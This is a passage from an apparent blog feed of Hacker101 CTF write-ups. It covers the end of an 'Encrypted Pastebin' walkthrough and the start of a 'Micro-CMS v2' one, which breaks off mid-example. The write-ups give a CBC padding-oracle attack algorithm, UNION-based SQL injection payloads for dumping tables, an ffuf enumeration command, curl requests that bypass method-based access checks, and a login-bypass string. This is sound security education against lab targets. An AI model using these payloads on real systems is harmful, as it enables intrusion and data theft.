&lt;li&gt;the key for your data is never stored in our database&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s keep that in mind as we keep exploring the system.&lt;/p&gt;
&lt;p&gt;We also have the ability to create a &lt;code class=&quot;language-text&quot;&gt;Post&lt;/code&gt; with a title and contents. Once we create the post we get redirected to a simple page displaying the new post. The &lt;code class=&quot;language-text&quot;&gt;URL&lt;/code&gt; has the following format:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;URL&amp;gt;?post=&amp;lt;identifier&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The first thing I like to do once I have access to an identifier is messing up with it to see if we can get more information about how the system is using this identifier to load whatever information it is supposed to.&lt;/p&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;p&gt;In this case messing up with the &lt;code class=&quot;language-text&quot;&gt;post&lt;/code&gt; identifier is all we need to fetch our first flag. We also get more information from the system by modifying, deleting or adding characters to our identifier. Here are a few examples of the exception I got:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;^FLAG^...$FLAG$
Traceback (most recent call last):
  File &amp;quot;./main.py&amp;quot;, line 69, in index
    post = json.loads(decryptLink(postCt).decode(&amp;#39;utf8&amp;#39;))
  File &amp;quot;./common.py&amp;quot;, line 46, in decryptLink
    data = b64d(data)
  File &amp;quot;./common.py&amp;quot;, line 11, in &amp;lt;lambda&amp;gt;
    b64d = lambda x: base64.decodestring(x.replace(&amp;#39;~&amp;#39;, &amp;#39;=&amp;#39;).replace(&amp;#39;!&amp;#39;, &amp;#39;/&amp;#39;).replace(&amp;#39;-&amp;#39;, &amp;#39;+&amp;#39;))
  File &amp;quot;/usr/local/lib/python2.7/base64.py&amp;quot;, line 328, in decodestring
    return binascii.a2b_base64(s)
Error: Incorrect padding&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;^FLAG^...$FLAG$
Traceback (most recent call last):
  File &amp;quot;./main.py&amp;quot;, line 69, in index
    post = json.loads(decryptLink(postCt).decode(&amp;#39;utf8&amp;#39;))
  File &amp;quot;./common.py&amp;quot;, line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File &amp;quot;/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py&amp;quot;, line 295, in decrypt
    return self._cipher.decrypt(ciphertext)
ValueError: Input strings must be a multiple of 16 in length&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;^FLAG^...$FLAG$
Traceback (most recent call last):
  File &amp;quot;./main.py&amp;quot;, line 69, in index
    post = json.loads(decryptLink(postCt).decode(&amp;#39;utf8&amp;#39;))
  File &amp;quot;./common.py&amp;quot;, line 49, in decryptLink
    return unpad(cipher.decrypt(data))
  File &amp;quot;./common.py&amp;quot;, line 22, in unpad
    raise PaddingException()
PaddingException&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;^FLAG^...$FLAG$
Traceback (most recent call last):
  File &amp;quot;./main.py&amp;quot;, line 69, in index
    post = json.loads(decryptLink(postCt).decode(&amp;#39;utf8&amp;#39;))
  File &amp;quot;./common.py&amp;quot;, line 48, in decryptLink
    cipher = AES.new(staticKey, AES.MODE_CBC, iv)
  File &amp;quot;/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py&amp;quot;, line 95, in new
    return AESCipher(key, *args, **kwargs)
  File &amp;quot;/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py&amp;quot;, line 59, in __init__
    blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
  File &amp;quot;/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py&amp;quot;, line 141, in __init__
    self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Based on the exceptions above we can infer the following things from this system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We are encrypting our message in blocks (ECB)
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;AES.new(staticKey, AES.MODE_CBC, iv)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The block size is 16
&lt;ul&gt;
&lt;li&gt;This makes sense since posts are encrypted with &lt;code class=&quot;language-text&quot;&gt;128-bit AES encryption&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The first 16 bytes of the post corresponds to the IV
&lt;ul&gt;
&lt;li&gt;We will see what this means soon&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We have a padding oracle
&lt;ul&gt;
&lt;li&gt;The system kindly tells us when our padding is wrong&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We know that the code replace certain characters before base64 decoding
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;base64.decodestring(x.replace(&apos;~&apos;, &apos;=&apos;).replace(&apos;!&apos;, &apos;/&apos;).replace(&apos;-&apos;, &apos;+&apos;))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This means the post identifier is base 64 encoded&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;p&gt;With all the information we got previously we can try to decrypt our post identifier. Since we have a padding oracle attack we are able to decrypt our identifier even though we don’t have access to the decryption key.&lt;/p&gt;
&lt;h4&gt;Decryption&lt;/h4&gt;
&lt;p&gt;I expand on this concept without any assumed knowledge of the post &lt;a href=&quot;/cbc-padding-oracle&quot;&gt;CBC Padding Oracle&lt;/a&gt;. In that post we can see an implementation of the attack using &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt; as the programming language. For this particular challenge I’ve implemented the same attack using &lt;code class=&quot;language-text&quot;&gt;Rust&lt;/code&gt;. You can find the source code &lt;a href=&quot;https://github.com/bernardoamc/labs/blob/master/hacker101/encrypted_pastebin/decrypt/src/main.rs&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once we decrypt the post identifier we are faced with something like:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{&amp;quot;flag&amp;quot;: &amp;quot;^FLAG^&amp;lt;flag&amp;gt;$FLAG$&amp;quot;, &amp;quot;id&amp;quot;: &amp;quot;2&amp;quot;, &amp;quot;key&amp;quot;: &amp;quot;5BSPTu5fIJ9jLfXhnS8JFw~~&amp;quot;}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Seeing this &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; in the JSON makes me think of two potential attacks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;IDOR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since we have an &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; of value 2 we can test for an &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; of value 1. We can also try to pass an &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; with single quotes.&lt;/p&gt;
&lt;p&gt;In order to do that we need to be able to encrypt our JSON, luckily for us having a padding oracle also allows us to do exactly that!&lt;/p&gt;
&lt;h4&gt;Encryption&lt;/h4&gt;
&lt;p&gt;In order to create a valid encrypted value we need to understand how our decryption works.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/389fb69049f7cb3e881153f9993a672e/84f4d/encrypted_pastebin_flag_3.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 39.24050632911392%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABd0lEQVQoz11Si46CQAzk/7/rEmPuAfgAxAegoBziwvIUWJhLe2ou16TJMt3OTodq0zSBkqIoCoRhiCRJoJRiDEOPdmcjWpmIrSXuJw+oCkAp9CePsXBlotxagMygPcmIIIoiOI6DxWKBy+XyIBxwXerYGl9YzWcIjE+oXHApcy1s9U/sTB0n/QNKpNCoUNc1Bmq8XhEEAacQgvGu65B9xwj3Oxxsi88yz9H1PapM4LTfwXM3kNcEahigERGNSs1E5LoufN9/ETZNi/QmcPB97A8eRJZBSom2bZFLyXddx0YqBAaloBmGAdM0sV6veczz+fyYdEDTNLjf73wuy5K/KaqyZLwfR1QHF7WzBLoWZJ7W9z0o6TJ5SMSbzYZVU4zjyFZYlsX+pmnKGKYJWS5hv89hz94QBT7UOP56+AxS4Xkeq6SRSNnzsePxyBtANhBGNVKZpCmiS4yqrvkR7e/a0A8gMlobao7j+EVE+O124ynIGvKO8P/xAylaXCvzrD2nAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;CBC Decryption by WhiteTimberwolf&quot;
        title=&quot;CBC Decryption by WhiteTimberwolf&quot;
        src=&quot;/static/389fb69049f7cb3e881153f9993a672e/f058b/encrypted_pastebin_flag_3.png&quot;
        srcset=&quot;/static/389fb69049f7cb3e881153f9993a672e/c26ae/encrypted_pastebin_flag_3.png 158w,
/static/389fb69049f7cb3e881153f9993a672e/6bdcf/encrypted_pastebin_flag_3.png 315w,
/static/389fb69049f7cb3e881153f9993a672e/f058b/encrypted_pastebin_flag_3.png 630w,
/static/389fb69049f7cb3e881153f9993a672e/40601/encrypted_pastebin_flag_3.png 945w,
/static/389fb69049f7cb3e881153f9993a672e/84f4d/encrypted_pastebin_flag_3.png 1208w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;current ciphertext&lt;/strong&gt; block gets decrypted&lt;/li&gt;
&lt;li&gt;This decrypted value is XORed with the &lt;strong&gt;previous ciphertext&lt;/strong&gt; block&lt;/li&gt;
&lt;li&gt;We obtain the plaintext of the &lt;strong&gt;current block&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s see what we do and do not control:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We don’t control the value of the current ciphertext being decrypted&lt;/li&gt;
&lt;li&gt;We control the &lt;strong&gt;current&lt;/strong&gt; and &lt;strong&gt;previous&lt;/strong&gt; ciphertexts&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Our plan of attack:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We want to find a value for our &lt;strong&gt;previous ciphertext&lt;/strong&gt; that when XORed with the &lt;strong&gt;decrypted value&lt;/strong&gt; of our &lt;strong&gt;current ciphertext&lt;/strong&gt; will result in the plaintext we want.&lt;/p&gt;
&lt;h4&gt;Algorithm&lt;/h4&gt;
&lt;p&gt;Let’s walk through the steps required to obtain the ciphertext we need. You can also see &lt;a href=&quot;https://github.com/bernardoamc/labs/blob/master/hacker101/encrypted_pastebin/encrypt/src/main.rs&quot;&gt;my implementation of this attack&lt;/a&gt; using Rust as the programming language.&lt;/p&gt;
&lt;h5&gt;Setup stage&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;Specify a JSON of our choice, for example: &lt;code class=&quot;language-text&quot;&gt;&quot;{ &quot;id&quot;: &quot;1&quot; }&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Split this JSON into blocks of 16 bytes each&lt;/li&gt;
&lt;li&gt;Pad the last block to 16 bytes using the &lt;code class=&quot;language-text&quot;&gt;PKCS#7 algorithm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Generate a random block of 16 bytes&lt;/li&gt;
&lt;li&gt;Set this random block to a variable called &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By the end of the setup you will have something like this:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;plaintext = [ block_1, block_2, ..., block_n ] where block_n is padded
last_block = random_block&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h5&gt;Main stage&lt;/h5&gt;
&lt;p&gt;This is the fun part of the algorithm, we need to generate a ciphertext that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt;
will result in the plaintext of our choice. Once we have this ciphertext we have to repeat the process until we can generate enough
ciphertext blocks to contain our entire JSON.&lt;/p&gt;
&lt;p&gt;Let’s see how this works on &lt;code class=&quot;language-text&quot;&gt;iteration 1&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate a new block of 16 bytes containing zeroes&lt;/li&gt;
&lt;li&gt;Start enumerating the last byte of this block until we can generate a value that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; provides us with a valid padding of &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;XOR this last byte with the value &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;, this will give us a byte value that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; will result in the last byte being &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now we are ready to find the second last byte:
&lt;ol&gt;
&lt;li&gt;Set the last byte of the new block to a value that results in &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; when decrypted&lt;/li&gt;
&lt;li&gt;Enumerate the second last byte of the new block until we can generate a value that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; provides us with a valid padding of &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;XOR this byte with the value &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt;, this will give us a byte that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; will result in the second last byte being &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Repeat step 4 until we figure out a ciphertext that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; will result in a block containing &lt;strong&gt;all the bytes&lt;/strong&gt; being zero&lt;/li&gt;
&lt;li&gt;XOR this block with the value of the last block from our plaintext created in the setup phase&lt;/li&gt;
&lt;li&gt;Now we have a ciphertext block that when XORed with the decrypted value of &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; will result in a block containing the all bytes we want from the plaintext&lt;/li&gt;
&lt;li&gt;Set this ciphertext block as the &lt;code class=&quot;language-text&quot;&gt;last_block&lt;/code&gt; and go back to step 1&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This main stage of finding the proper value based on the padding error is very similar to how we can decrypt the post identifier when obtaining our second flag. They are both padding oracle attacks, but exploiting slightly different parts of the decryption algorithm.&lt;/p&gt;
&lt;h2&gt;Flag 3&lt;/h2&gt;
&lt;p&gt;Encrypting &lt;code class=&quot;language-text&quot;&gt;&apos;{ &quot;id&quot;: &quot;1&quot; }&apos;&lt;/code&gt; and sending it as the post identifier yields an exception, but also our third flag!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Attempting to decrypt page with title: ^FLAG^&amp;lt;flag 3&amp;gt;$FLAG$&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Flag 4&lt;/h2&gt;
&lt;p&gt;Following up on our SQL Injection theory and replacing our id with a single quote &lt;code class=&quot;language-text&quot;&gt;&apos;{ &quot;id&quot;: &quot;&apos;&quot; }&apos;&lt;/code&gt;, encrypting and sending it as the post identifier yields:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Traceback (most recent call last):
  File &amp;quot;./main.py&amp;quot;, line 71, in index
    if cur.execute(&amp;#39;SELECT title, body FROM posts WHERE id=%s&amp;#39; % post[&amp;#39;id&amp;#39;]) == 0:
  File &amp;quot;/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py&amp;quot;, line 255, in execute
    self.errorhandler(self, exc, value)
  File &amp;quot;/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py&amp;quot;, line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, &amp;quot;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &amp;#39;&amp;#39;&amp;#39; at line 1&amp;quot;)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This proves we have an SQL Injection in our hands ad we even know the SQL query being used, which is great! It’s time to start mapping the system’s database.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enumerating database tables&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{ &amp;quot;id&amp;quot;: &amp;quot;NULL UNION SELECT GROUP_CONCAT(table_name) AS title, NULL AS body FROM information_schema.tables WHERE table_schema=database()&amp;quot; }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We find a table called &lt;code class=&quot;language-text&quot;&gt;tracking&lt;/code&gt;. It seems that every time we access a post a new tracking event gets inserted on that table.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enumerating database columns&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{ &amp;quot;id&amp;quot;: &amp;quot;NULL UNION SELECT GROUP_CONCAT(column_name) as title, NULL as body FROM information_schema.columns WHERE table_name=&amp;#39;tracking&amp;#39;&amp;quot; }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We find out that the &lt;code class=&quot;language-text&quot;&gt;tracking&lt;/code&gt; table has the column &lt;code class=&quot;language-text&quot;&gt;headers&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enumerating rows in a table&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{ &amp;quot;id&amp;quot;: &amp;quot;NULL UNION SELECT GROUP_CONCAT(headers) AS title, &amp;#39;&amp;#39; AS body FROM tracking&amp;quot; }&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This one displays something interesting:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Attempting to decrypt page with title: Referer: http://127.0.0.1:14807/?post=7GzHHMVIK2KQJ4TGsKusc-emk!TuQ3c1BPdPdTUWXICINPM!Ephf4qRU3b!2NIMq9gwo5zrXMP8-EY5fCH!Zpg~~
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Host: 127.0.0.1:14807
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Notice the &lt;code class=&quot;language-text&quot;&gt;http://127.0.0.1:14807&lt;/code&gt; in that URL, this doesn’t seem like something we generated ourselves when navigating through the system. Navigating to that post yields the last flag!&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This was a really nice challenge that forced me to review how ECB and CBC works and also involved common web vulnerabilities. I’ve never thought of abusing a padding oracle to generate a valid encrypted message before and spent quite a bit of time trying to understand how this could be achieved. Last but not least, being forced to create exploits was a good experience to internalize how each attack on CBC works.&lt;/p&gt;
&lt;p&gt;Thanks for reading and I will see you in our next post!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Micro-CMS v2 walkthrough]]></title><description><![CDATA[Writeup for the Hacker101 CTF problem Micro-CMS v2]]></description><link>https://bernardoamc.com/hacker101-ctf/micro_cms_v2/</link><guid isPermaLink="false">https://bernardoamc.com/hacker101-ctf/micro_cms_v2/</guid><pubDate>Sun, 02 Oct 2022 09:30:00 GMT</pubDate><content:encoded>&lt;p&gt;This is a continuation over the previous &lt;code class=&quot;language-text&quot;&gt;Micro-CMS v1&lt;/code&gt; challenge from &lt;a href=&quot;https://ctf.hacker101.com/&quot;&gt;Hacker101 CTF&lt;/a&gt;, so I recommend giving it a shot and &lt;a href=&quot;/hacker101-ctf/intro&quot;&gt;reading the previous walkthrough&lt;/a&gt; before proceeding with this one.&lt;/p&gt;
&lt;p&gt;Alright, the new challenge allows us to see what’s new on this app relative to the old one.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;md&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# Micro-CMS Changelog

## Version 2

This version fixed the multitude of security flaws and general functionality bugs that plagued v1. Additionally, we added user authentication; we&amp;#39;re still not sure why we didn&amp;#39;t think about that the first time, but hindsight is 20/20. By default, users need to be an admin to add or edit pages now.&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;It seems like the developers have fixed every vulnerability from the previous challenge! I hope not, but let’s see what we can do. In the previous challenge we had a hidden page but we don’t know if that’s still the case, so let’s enumerate page IDs again:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ seq 50 &amp;gt; range.txt

$ ffuf -w range.txt -u https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/page/FUZZ
...

2      [Status: 200, Size: 433, Words: 19, Lines: 16]
1      [Status: 200, Size: 538, Words: 63, Lines: 15]
3      [Status: 403, Size: 234, Words: 27, Lines: 5]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We have a page with ID &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; that we have never seen before, but this time trying to access &lt;code class=&quot;language-text&quot;&gt;/page/edit/3&lt;/code&gt; fails since it’s behind authentication. A common mistake by developers is only protecting pages that the client can see (&lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; requests), but nothing prevents users from sending other &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods&quot;&gt;HTTP methods&lt;/a&gt; to the server.&lt;/p&gt;
&lt;h3&gt;Flag 1&lt;/h3&gt;
&lt;p&gt;So a &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;/page/edit/3&lt;/code&gt; yields a &lt;code class=&quot;language-text&quot;&gt;403&lt;/code&gt;, does &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;PUT&lt;/code&gt; yield the same HTTP response code?&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ curl -X PUT &amp;quot;https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/page/edit/3&amp;quot;
&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 3.2 Final//EN&amp;quot;&amp;gt;
&amp;lt;title&amp;gt;405 Method Not Allowed&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Method Not Allowed&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;The method is not allowed for the requested URL.&amp;lt;/p&amp;gt;

$ curl -X POST &amp;quot;https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/page/edit/3&amp;quot;
^FLAG^...$FLAG$%&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt; is not protected and gives us our first flag! It’s worth noting that &lt;code class=&quot;language-text&quot;&gt;GET /page/3&lt;/code&gt; still yields a &lt;code class=&quot;language-text&quot;&gt;forbidden&lt;/code&gt;, so there might be something else in that page.&lt;/p&gt;
&lt;p&gt;I feel it’s time to start playing with the new login feature and see if we can get access to these pages.&lt;/p&gt;
&lt;h3&gt;Flag 2&lt;/h3&gt;
&lt;p&gt;Going to the &lt;code class=&quot;language-text&quot;&gt;/login&lt;/code&gt; path and sending a single quote (&lt;code class=&quot;language-text&quot;&gt;&apos;&lt;/code&gt;) as the username yields the server error that we can see below:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;python&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Traceback (most recent call last):
  File &amp;quot;./main.py&amp;quot;, line 145, in do_login
    if cur.execute(&amp;#39;SELECT password FROM admins WHERE username=\&amp;#39;%s\&amp;#39;&amp;#39; % request.form[&amp;#39;username&amp;#39;].replace(&amp;#39;%&amp;#39;, &amp;#39;%%&amp;#39;)) == 0:
  File &amp;quot;/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py&amp;quot;, line 255, in execute
    self.errorhandler(self, exc, value)
  File &amp;quot;/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py&amp;quot;, line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, &amp;quot;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39; at line 1&amp;quot;)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Errors that yield the stacktrace are super valuable since it gives us more ideas of what can be exploited. In this case, we can see that the server is using MariaDB and that the error is related to the SQL syntax. We can also see that the query is being built using string interpolation without any escaping or parameterized queries. This means that we can inject SQL code into the query and get the server to execute it.&lt;/p&gt;
&lt;p&gt;Sending the username as &lt;code class=&quot;language-text&quot;&gt;abc&apos; OR 1=1;--&lt;/code&gt; bypasses this username check, but still doesn’t allow us to login with the message: &lt;code class=&quot;language-text&quot;&gt;Invalid password&lt;/code&gt;. If the username that we used confuses you I recommend going over &lt;a href=&quot;https://portswigger.net/web-security/sql-injection&quot;&gt;this material&lt;/a&gt; from PortSwigger Academy.&lt;/p&gt;
&lt;p&gt;We could go and use something like &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;sqlmap&lt;/a&gt; to automate the SQL injection exploitation and dump the entire database, but let’s see how the SQL query is built and try to bypass it manually:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;SELECT password FROM admins WHERE username=\&amp;#39;%s\&amp;#39;&amp;#39; % request.form[&amp;#39;username&amp;#39;]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;What the developers of the application are doing is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Getting an user based on their username&lt;/li&gt;
&lt;li&gt;Returning the password from that user&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So I went to &lt;a href=&quot;https://onecompiler.com/mysql&quot;&gt;https://onecompiler.com/mysql&lt;/a&gt; and created the following database schema to start playing with this query:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;CREATE TABLE admins (username TEXT NOT NULL, password TEXT NOT NULL);
INSERT INTO admins VALUES (&amp;#39;admin&amp;#39;, &amp;#39;hello&amp;#39;);&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now we are ready to start making queries to this database:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;SELECT password FROM admins WHERE username = &amp;#39;admin&amp;#39;;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And of course I get the password back, which is &lt;code class=&quot;language-text&quot;&gt;&apos;hello&apos;&lt;/code&gt;. How can we make this query return any password we want? Let’s try to use a &lt;code class=&quot;language-text&quot;&gt;UNION&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;SELECT password FROM admins WHERE username = &amp;#39;admin&amp;#39; UNION SELECT &amp;#39;potato&amp;#39;;&lt;/code&gt;
